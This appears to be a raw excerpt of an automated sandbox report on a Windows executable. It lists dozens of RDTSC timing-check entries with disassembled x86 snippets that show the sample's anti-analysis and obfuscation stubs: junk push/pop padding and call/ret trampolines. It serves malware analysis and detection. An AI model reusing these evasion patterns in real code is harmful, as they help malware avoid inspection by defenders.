Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FDC3 second address: A4FDFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007FEA38C221F8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007FEA38C221FAh 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FDFB second address: A4FE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D44 second address: A51D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D48 second address: A51D4E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A527DD second address: A527E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A525A8 second address: A525B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FEA38E8CA36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A527E1 second address: A52859 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jns 00007FEA38C221FEh 0x0000000e nop 0x0000000f or si, 3F76h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FEA38C221F8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov esi, dword ptr [ebp+122D28C3h] 0x00000038 call 00007FEA38C22201h 0x0000003d pushad 0x0000003e mov dx, 3652h 0x00000042 jmp 00007FEA38C221FFh 0x00000047 popad 0x00000048 pop esi 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push edx 0x0000004d push edx 0x0000004e pop edx 0x0000004f pop edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A532CA second address: A53317 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEA38E8CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FEA38E8CA38h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 movzx esi, ax 0x0000002a push 00000000h 0x0000002c mov edi, 5ED8EB2Dh 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D22F6h], eax 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FEA38E8CA3Bh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53317 second address: A5331D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53A12 second address: A53A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53A16 second address: A53A24 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEA38C221F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A544BB second address: A544BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A53A24 second address: A53A42 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEA38C22204h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54755 second address: A547A5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA38E8CA3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FEA38E8CA38h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov edi, dword ptr [ebp+122D2A4Bh] 0x0000002b push 00000000h 0x0000002d mov si, FB58h 0x00000031 push 00000000h 0x00000033 mov esi, dword ptr [ebp+122D25BBh] 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jc 00007FEA38E8CA36h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A547A5 second address: A547AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A583A9 second address: A58430 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEA38E8CA46h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FEA38E8CA38h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D2ED7h], eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FEA38E8CA38h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c mov dword ptr [ebp+1246C88Fh], edx 0x00000052 push 00000000h 0x00000054 mov di, 2BA6h 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c jnc 00007FEA38E8CA36h 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58430 second address: A58435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A593A3 second address: A593AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A585FD second address: A58603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A58603 second address: A58607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B54C second address: A5B550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B550 second address: A5B5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FEA38E8CA38h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov bx, 6FB1h 0x00000016 mov ebx, dword ptr [ebp+122D1BA3h] 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+1246DB82h], eax 0x00000024 mov bx, ax 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007FEA38E8CA38h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 add bx, 188Ah 0x00000048 xchg eax, esi 0x00000049 jmp 00007FEA38E8CA46h 0x0000004e push eax 0x0000004f pushad 0x00000050 jmp 00007FEA38E8CA3Ch 0x00000055 push eax 0x00000056 push edx 0x00000057 jbe 00007FEA38E8CA36h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5964C second address: A59650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E50A second address: A5E560 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEA38E8CA3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov bx, 3EC5h 0x00000011 push 00000000h 0x00000013 jmp 00007FEA38E8CA3Ch 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FEA38E8CA38h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D1F3Bh], esi 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E560 second address: A5E564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E564 second address: A5E572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E572 second address: A5E57C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEA38C221FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F52D second address: A5F590 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D283Bh], ecx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FEA38E8CA38h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007FEA38E8CA38h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 mov edi, dword ptr [ebp+122D2947h] 0x0000004c mov dword ptr [ebp+122D19F6h], eax 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push edi 0x00000057 pop edi 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5F590 second address: A5F595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A604C1 second address: A604D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEA38E8CA36h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A604D3 second address: A60542 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FEA38C221F8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 or edi, dword ptr [ebp+1246D2AEh] 0x00000028 stc 0x00000029 push 00000000h 0x0000002b cld 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007FEA38C221F8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 add edi, dword ptr [ebp+12444244h] 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 jne 00007FEA38C221F6h 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6152D second address: A61531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63A50 second address: A63A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FEA38C221FCh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FEA38C221F8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63A6D second address: A63A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEA38E8CA36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A65B2A second address: A65B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A606B5 second address: A60730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FEA38E8CA38h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 stc 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov bl, DCh 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FEA38E8CA38h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+122D270Eh] 0x00000054 mov eax, dword ptr [ebp+122D15F1h] 0x0000005a push FFFFFFFFh 0x0000005c mov ebx, 6E14D241h 0x00000061 sub dword ptr [ebp+1246DB82h], ebx 0x00000067 nop 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b push eax 0x0000006c pop eax 0x0000006d pushad 0x0000006e popad 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60730 second address: A60756 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEA38C2220Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64CF1 second address: A64CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A60756 second address: A6075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64CF5 second address: A64CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66BAC second address: A66C1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C221FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or ebx, 12904D00h 0x00000012 push 00000000h 0x00000014 mov ebx, dword ptr [ebp+122D3076h] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FEA38C221F8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 jmp 00007FEA38C221FFh 0x0000003b and ebx, dword ptr [ebp+122D2B93h] 0x00000041 push eax 0x00000042 pushad 0x00000043 push edi 0x00000044 jmp 00007FEA38C221FFh 0x00000049 pop edi 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6075D second address: A60767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEA38E8CA36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66C1B second address: A66C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67B79 second address: A67B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67B7D second address: A67C27 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEA38C221F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c or ebx, dword ptr [ebp+122D2709h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FEA38C221F8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1FA3h], edx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007FEA38C221F8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 adc bh, 00000075h 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 jmp 00007FEA38C22202h 0x0000005a jl 00007FEA38C22209h 0x00000060 jmp 00007FEA38C22203h 0x00000065 popad 0x00000066 push eax 0x00000067 pushad 0x00000068 pushad 0x00000069 jmp 00007FEA38C22209h 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67C27 second address: A67C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67D87 second address: A67E3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C221FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, 6AB4h 0x00000010 movzx edi, dx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov ebx, 78673F12h 0x0000001f mov dword ptr [ebp+122D283Bh], ecx 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c jno 00007FEA38C221FCh 0x00000032 mov eax, dword ptr [ebp+122D04ADh] 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FEA38C221F8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 call 00007FEA38C22207h 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 pop edi 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push eax 0x0000005f call 00007FEA38C221F8h 0x00000064 pop eax 0x00000065 mov dword ptr [esp+04h], eax 0x00000069 add dword ptr [esp+04h], 00000014h 0x00000071 inc eax 0x00000072 push eax 0x00000073 ret 0x00000074 pop eax 0x00000075 ret 0x00000076 mov dword ptr [ebp+1246DB82h], ebx 0x0000007c nop 0x0000007d push eax 0x0000007e push edx 0x0000007f pushad 0x00000080 jbe 00007FEA38C221F6h 0x00000086 jnp 00007FEA38C221F6h 0x0000008c popad 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A67E3B second address: A67E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FEA38E8CA36h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnc 00007FEA38E8CA38h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEA38E8CA40h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6C13A second address: A6C15B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22208h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18FB5 second address: A18FD3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEA38E8CA41h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A18FD3 second address: A19004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38C22201h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEA38C22209h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19004 second address: A1900A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1900A second address: A19030 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22207h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEA38C221FBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A736E2 second address: A73717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FEA38E8CA4Eh 0x0000000e jl 00007FEA38E8CA36h 0x00000014 jmp 00007FEA38E8CA42h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f pop edx 0x00000020 jng 00007FEA38E8CA38h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77C17 second address: A77C1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77C1B second address: A77C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEA38E8CA45h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77C3A second address: A77C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77C3E second address: A77CA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38E8CA49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FEA38E8CA4Fh 0x00000011 pushad 0x00000012 jmp 00007FEA38E8CA40h 0x00000017 push eax 0x00000018 pop eax 0x00000019 jmp 00007FEA38E8CA41h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77CA1 second address: A77CB1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FEA38C221F6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EE55 second address: A0EE59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EE59 second address: A0EE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EE62 second address: A0EE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA38E8CA47h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EE81 second address: A0EE90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FEA38C221FEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EE90 second address: A0EE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FEA38E8CA36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0EE9E second address: A0EEB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA38C22205h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
